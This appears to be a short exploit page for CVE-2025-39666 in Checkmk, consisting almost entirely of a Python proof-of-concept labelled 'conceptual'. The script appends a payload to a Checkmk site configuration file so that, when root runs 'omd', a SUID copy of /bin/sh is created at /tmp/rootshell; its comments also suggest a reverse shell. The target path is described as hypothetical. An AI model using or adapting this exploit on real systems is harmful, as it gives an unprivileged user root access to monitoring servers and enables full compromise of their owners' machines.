CVE-2025-39666 Checkmk 本地权限提升漏洞

# PoC for CVE-2025-39666 (Conceptual) # This script demonstrates how a low-privileged site user might exploit the file manipulation vulnerability. import os import sys # Path to the file processed by 'omd' (Hypothetical path based on Checkmk structure) TARGET_FILE = "/omd/sites/mysite/var/check_mk/conf.d/config.mk" def exploit(): print("[*] CVE-2025-39666 PoC - Checkmk Local Privilege Escalation") print("[*] Attempting to manipulate site files...") # Check if we have write permissions to the target if os.access(TARGET_FILE, os.W_OK): # Inject malicious command to be executed when root runs 'omd' # For example, adding a reverse shell or a simple command to create a SUID binary payload = "import os; os.system('cp /bin/sh /tmp/rootshell && chmod 4755 /tmp/rootshell')" try: with open(TARGET_FILE, 'a') as f: f.write("\n# Malicious config\n") f.write(payload) print(f"[+] Payload injected into {TARGET_FILE}") print("[*] Waiting for root user to execute 'omd' commands (e.g., omd restart)...") print("[*] Once executed, check /tmp/rootshell for root access.") except Exception as e: print(f"[-] Error writing payload: {e}") else: print("[-] Write access denied. Exploit failed.") if __name__ == "__main__": exploit()